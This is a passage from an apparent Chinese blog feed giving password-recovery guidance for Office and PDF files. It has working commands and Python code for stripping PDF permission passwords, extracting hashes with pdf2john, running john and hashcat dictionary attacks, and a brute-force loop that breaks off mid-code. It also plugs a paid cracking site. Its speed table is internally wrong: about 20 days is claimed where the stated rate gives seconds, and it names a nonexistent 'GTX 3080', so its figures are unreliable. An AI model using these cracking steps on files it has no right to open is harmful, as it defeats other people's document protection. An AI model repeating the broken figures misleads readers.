&lt;th>速度&lt;/th>
&lt;th>难度&lt;/th>
&lt;th>适合场景&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>msoffcrypto-tool&lt;/td>
&lt;td>全版本 Office&lt;/td>
&lt;td>中&lt;/td>
&lt;td>低&lt;/td>
&lt;td>程序员自用&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>John the Ripper&lt;/td>
&lt;td>全版本 Office&lt;/td>
&lt;td>中&lt;/td>
&lt;td>中&lt;/td>
&lt;td>技术人员&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Hashcat&lt;/td>
&lt;td>全版本 Office&lt;/td>
&lt;td>快&lt;/td>
&lt;td>高&lt;/td>
&lt;td>有独显用户&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>VBA 宏&lt;/td>
&lt;td>仅修改密码&lt;/td>
&lt;td>即时&lt;/td>
&lt;td>低&lt;/td>
&lt;td>仅修改密码场景&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>LibreOffice&lt;/td>
&lt;td>旧版 .doc/.xls&lt;/td>
&lt;td>即时&lt;/td>
&lt;td>低&lt;/td>
&lt;td>碰运气&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>&lt;/td>
&lt;td>全版本 Office&lt;/td>
&lt;td>快&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>所有人&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="提高成功率的实用技巧">提高成功率的实用技巧&lt;/h2>
&lt;ol>
&lt;li>&lt;strong>先确定 Office 版本&lt;/strong>：不同版本的加密算法差异很大，.doc 格式比 .docx 容易破解得多&lt;/li>
&lt;li>&lt;strong>回忆密码规则&lt;/strong>：很多人设置 Office 密码有固定模式，比如 &amp;ldquo;公司名+年份&amp;rdquo;、&amp;ldquo;姓名+手机号后四位&amp;rdquo; 等&lt;/li>
&lt;li>&lt;strong>试试弱口令字典&lt;/strong>：大量用户使用 &amp;ldquo;123456&amp;rdquo;、&amp;ldquo;password&amp;rdquo;、&amp;ldquo;qwerty&amp;rdquo; 等弱密码，先用常见密码字典试一遍&lt;/li>
&lt;li>&lt;strong>Excel 的 .xls 特别注意&lt;/strong>：旧版 Excel 的 40-bit RC4 加密存在漏洞，可以用更高级的密码分析攻击&lt;/li>
&lt;li>&lt;strong>不要轻信&amp;quot;在线秒破&amp;quot;网站&lt;/strong>：很多小网站会收集你的文件用于非法用途，选择有信誉的平台&lt;/li>
&lt;/ol>
&lt;h2 id="常见问题">常见问题&lt;/h2>
&lt;h3 id="q-文件只是设置了只读保护而非加密怎么解除">Q: 文件只是设置了&amp;quot;只读保护&amp;quot;而非加密，怎么解除？&lt;/h3>
&lt;p>如果是 Word 的&amp;quot;限制编辑&amp;quot;或 Excel 的&amp;quot;工作表保护&amp;quot;，那不是真正的加密，可以通过以下方法解除：&lt;/p>
&lt;ul>
&lt;li>将文件后缀改为 .zip，打开后找到 &lt;code>word/settings.xml&lt;/code>，删除 &lt;code>&amp;lt;w:documentProtection&amp;gt;&lt;/code> 标签&lt;/li>
&lt;li>或用 VBA 宏解除（见方法四）&lt;/li>
&lt;/ul>
&lt;h3 id="q-wps-加密的文件和-office-加密的一样吗">Q: WPS 加密的文件和 Office 加密的一样吗？&lt;/h3>
&lt;p>WPS 兼容 Office 的加密格式，但部分 WPS 独有的加密方式使用了不同的算法。如果是 WPS 加密的文件，建议先用 WPS 另存为 .docx 格式再处理。&lt;/p>
&lt;h3 id="q-excel-文件有打开密码和工作簿保护两层怎么分别处理">Q: Excel 文件有&amp;quot;打开密码&amp;quot;和&amp;quot;工作簿保护&amp;quot;两层，怎么分别处理？&lt;/h3>
&lt;p>&amp;ldquo;打开密码&amp;quot;是文件级加密，需要本文介绍的方法破解。&amp;ldquo;工作簿保护&amp;quot;只是限制了结构修改（不能增删工作表），可以用 VBA 直接绕过。&lt;/p>
&lt;h3 id="q-恢复出的密码能直接用在-wps-上吗">Q: 恢复出的密码能直接用在 WPS 上吗？&lt;/h3>
&lt;p>可以。WPS 完全兼容 Office 的加密格式，找到的密码在 WPS 和 Microsoft Office 上通用。&lt;/p>
&lt;h2 id="总结">总结&lt;/h2>
&lt;p>Office 文档密码恢复的核心难点在于新版本 Office（2010+）的高迭代次数加密。对于旧版 .doc/.xls 文件，大部分方法都能较快恢复；对于新版 .docx/.xlsx 文件，建议使用 GPU 加速的 Hashcat 或借助 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 这样的云端服务。&lt;/p>
&lt;p>最重要的是，在加密文件之前，建议使用密码管理器妥善保存密码，避免日后给自己制造麻烦。&lt;/p></description></item><item><title>PDF文件加密了怎么解除？PDF密码破解完整指南（2026最新）</title><link>http://dosoos.github.io/blog_basha/p/pdf%E6%96%87%E4%BB%B6%E5%8A%A0%E5%AF%86%E4%BA%86%E6%80%8E%E4%B9%88%E8%A7%A3%E9%99%A4pdf%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3%E5%AE%8C%E6%95%B4%E6%8C%87%E5%8D%972026%E6%9C%80%E6%96%B0/</link><pubDate>Wed, 20 May 2026 10:00:00 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/pdf%E6%96%87%E4%BB%B6%E5%8A%A0%E5%AF%86%E4%BA%86%E6%80%8E%E4%B9%88%E8%A7%A3%E9%99%A4pdf%E5%AF%86%E7%A0%81%E7%A0%B4%E8%A7%A3%E5%AE%8C%E6%95%B4%E6%8C%87%E5%8D%972026%E6%9C%80%E6%96%B0/</guid><description>&lt;h2 id="前言">前言&lt;/h2>
&lt;p>PDF 是工作中最常用的文档格式之一。从电子合同到学术论文，从银行账单到政府公文，PDF 无处不在。而当一份重要的 PDF 文件被加密，而你恰好忘记了密码，那种无力感相信很多人都经历过。&lt;/p>
&lt;p>好消息是，PDF 的加密体系虽然有多个版本，但其中不少存在已知的弱点。这篇文章将带你全面了解 PDF 加密机制，并给出实用的密码恢复方案。&lt;/p>
&lt;h2 id="pdf-加密基础知识">PDF 加密基础知识&lt;/h2>
&lt;h3 id="两种密码打开密码-vs-权限密码">两种密码：打开密码 vs 权限密码&lt;/h3>
&lt;p>PDF 的加密设计中包含两种不同层级的密码：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>密码类型&lt;/th>
&lt;th>英文名称&lt;/th>
&lt;th>作用&lt;/th>
&lt;th>安全性&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>&lt;strong>打开密码&lt;/strong> (User Password)&lt;/td>
&lt;td>User Password&lt;/td>
&lt;td>必须输入才能查看内容&lt;/td>
&lt;td>高（文件内容被加密）&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;strong>权限密码&lt;/strong> (Owner Password)&lt;/td>
&lt;td>Owner Password&lt;/td>
&lt;td>限制打印、复制、编辑等操作&lt;/td>
&lt;td>&lt;strong>低（可以绕过）&lt;/strong>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;strong>关键区别&lt;/strong>：权限密码不加密文件内容本身，只是通过 PDF 阅读器来限制功能。这意味着即使不知道权限密码，也有方法绕过限制。而打开密码则对文件内容进行了真正的加密。&lt;/p>
&lt;h3 id="pdf-加密版本演变">PDF 加密版本演变&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>版本&lt;/th>
&lt;th>加密方式&lt;/th>
&lt;th>安全性&lt;/th>
&lt;th>说明&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>PDF 1.1-1.3&lt;/td>
&lt;td>RC4 40-bit&lt;/td>
&lt;td>❌ 极弱&lt;/td>
&lt;td>几秒可破解&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PDF 1.4&lt;/td>
&lt;td>RC4 128-bit&lt;/td>
&lt;td>⚠️ 较弱&lt;/td>
&lt;td>存在已知漏洞&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PDF 1.5-1.6&lt;/td>
&lt;td>RC4 128-bit (AES)&lt;/td>
&lt;td>⚠️ 中等&lt;/td>
&lt;td>改进但仍有弱点&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PDF 1.7 Extension 3&lt;/td>
&lt;td>AES-128&lt;/td>
&lt;td>✅ 较强&lt;/td>
&lt;td>Adobe Acrobat 9+&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>PDF 2.0&lt;/td>
&lt;td>AES-256&lt;/td>
&lt;td>✅✅ 很强&lt;/td>
&lt;td>ISO 32000-2 标准&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="一权限密码owner-password的绕过方法">一、权限密码（Owner Password）的绕过方法&lt;/h2>
&lt;p>权限密码是最容易处理的，有以下几种方案：&lt;/p>
&lt;h3 id="方法-1使用-qpdf-一键移除推荐">方法 1：使用 qpdf 一键移除（推荐）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/qpdf/qpdf" target="_blank" rel="noopener"
>qpdf&lt;/a> 是一个免费的 PDF 转换工具，可以直接移除权限密码：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ubuntu/Debian&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install qpdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># macOS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">brew install qpdf
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Windows - 下载安装包&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># https://github.com/qpdf/qpdf/releases&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 移除权限密码（不需要知道原密码）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qpdf --decrypt input.pdf output.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>执行后，&lt;code>output.pdf&lt;/code> 将不再有任何编辑、打印、复制限制。&lt;/p>
&lt;h3 id="方法-2python-pikepdf-库">方法 2：Python pikepdf 库&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">pikepdf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 打开有权限密码的 PDF（不需要密码）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pdf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pikepdf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;restricted.pdf&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 保存为新文件（自动移除权限限制）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">pdf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;unrestricted.pdf&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;✅ 权限密码已移除&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>安装 pikepdf：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">pip install pikepdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-3在线工具">方法 3：在线工具&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>ilovepdf.com&lt;/strong> - 上传 PDF 即可解锁&lt;/li>
&lt;li>&lt;strong>smallpdf.com&lt;/strong> - 免费额度有限&lt;/li>
&lt;li>&lt;strong>pdf2go.com&lt;/strong> - 支持批量处理&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>⚠️ &lt;strong>隐私提醒&lt;/strong>：在线工具会上传你的文件到第三方服务器，敏感文件不建议使用。如需在线处理，建议选择支持文件销毁的正规平台。&lt;/p>
&lt;/blockquote>
&lt;h3 id="方法-4chrome-浏览器打印法">方法 4：Chrome 浏览器打印法&lt;/h3>
&lt;ol>
&lt;li>用 Chrome 浏览器打开受权限密码保护的 PDF&lt;/li>
&lt;li>Chrome 可能直接忽略权限限制显示内容&lt;/li>
&lt;li>按 Ctrl+P → 选择&amp;quot;另存为 PDF&amp;quot;&lt;/li>
&lt;li>新的 PDF 文件将不带任何限制&lt;/li>
&lt;/ol>
&lt;h2 id="二打开密码user-password的破解方法">二、打开密码（User Password）的破解方法&lt;/h2>
&lt;p>打开密码对文件内容进行了真正的加密，需要使用密码恢复手段。&lt;/p>
&lt;h3 id="方法-1pdfcpu--john-the-ripper">方法 1：pdfcpu + John the Ripper&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1. 从 PDF 中提取密码哈希&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 pdf2john 工具（John the Ripper 附带）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">python /path/to/john/run/pdf2john.py encrypted.pdf &amp;gt; hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 输出格式：&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># encrypted.pdf:$pdf$2*3*128*-1060*1*16*...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2. 使用字典攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --wordlist&lt;span class="o">=&lt;/span>rockyou.txt hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 3. 查看结果&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --show hash.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-2hashcat-gpu-加速">方法 2：Hashcat GPU 加速&lt;/h3>
&lt;p>Hashcat 对不同版本的 PDF 有单独的模式编号：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># PDF 1.1-1.3 (RC4 40-bit) - 模式 10400&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">10400&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># PDF 1.4-1.6 (RC4 128-bit) - 模式 10500&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">10500&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># PDF 1.7 Extension 3 (AES-128) - 模式 10600&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">10600&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># PDF 1.7 Extension 8 (AES-256) - 模式 10700&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">10700&lt;/span> -a &lt;span class="m">0&lt;/span> hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="各版本-pdf-的破解速度对比">各版本 PDF 的破解速度对比&lt;/h3>
&lt;p>以 GTX 3080 显卡为参考：&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>PDF 版本&lt;/th>
&lt;th>Hashcat 模式&lt;/th>
&lt;th>大约速度&lt;/th>
&lt;th>破解 6 位数字密码时间&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>1.1-1.3&lt;/td>
&lt;td>10400&lt;/td>
&lt;td>~50M/s&lt;/td>
&lt;td>不到 1 秒&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>1.4-1.6&lt;/td>
&lt;td>10500&lt;/td>
&lt;td>~10M/s&lt;/td>
&lt;td>约 100 秒&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>1.7 Ext 3&lt;/td>
&lt;td>10600&lt;/td>
&lt;td>~50K/s&lt;/td>
&lt;td>约 20 天&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>1.7 Ext 8&lt;/td>
&lt;td>10700&lt;/td>
&lt;td>~10K/s&lt;/td>
&lt;td>约 100 天&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>可以看到，PDF 版本越高，破解难度呈指数级增长。&lt;/p>
&lt;h3 id="方法-3python--pikepdf-字典爆破">方法 3：Python + pikepdf 字典爆破&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">pikepdf&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">crack_pdf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pdf_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">wordlist_path&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;使用字典尝试破解 PDF 打开密码&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">wordlist_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;r&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">encoding&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;utf-8&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">errors&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;ignore&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">enumerate&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pwd&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pdf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pikepdf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pdf_path&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">password&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">pwd&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;✅ 第 &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2"> 次尝试，密码找到: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pwd&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># 保存解密文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">pdf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;decrypted_&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pdf_path&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">pwd&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="n">pikepdf&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">PasswordError&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;尝试 &amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">pwd&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#39; 时出错: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;❌ 字典中未找到密码&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
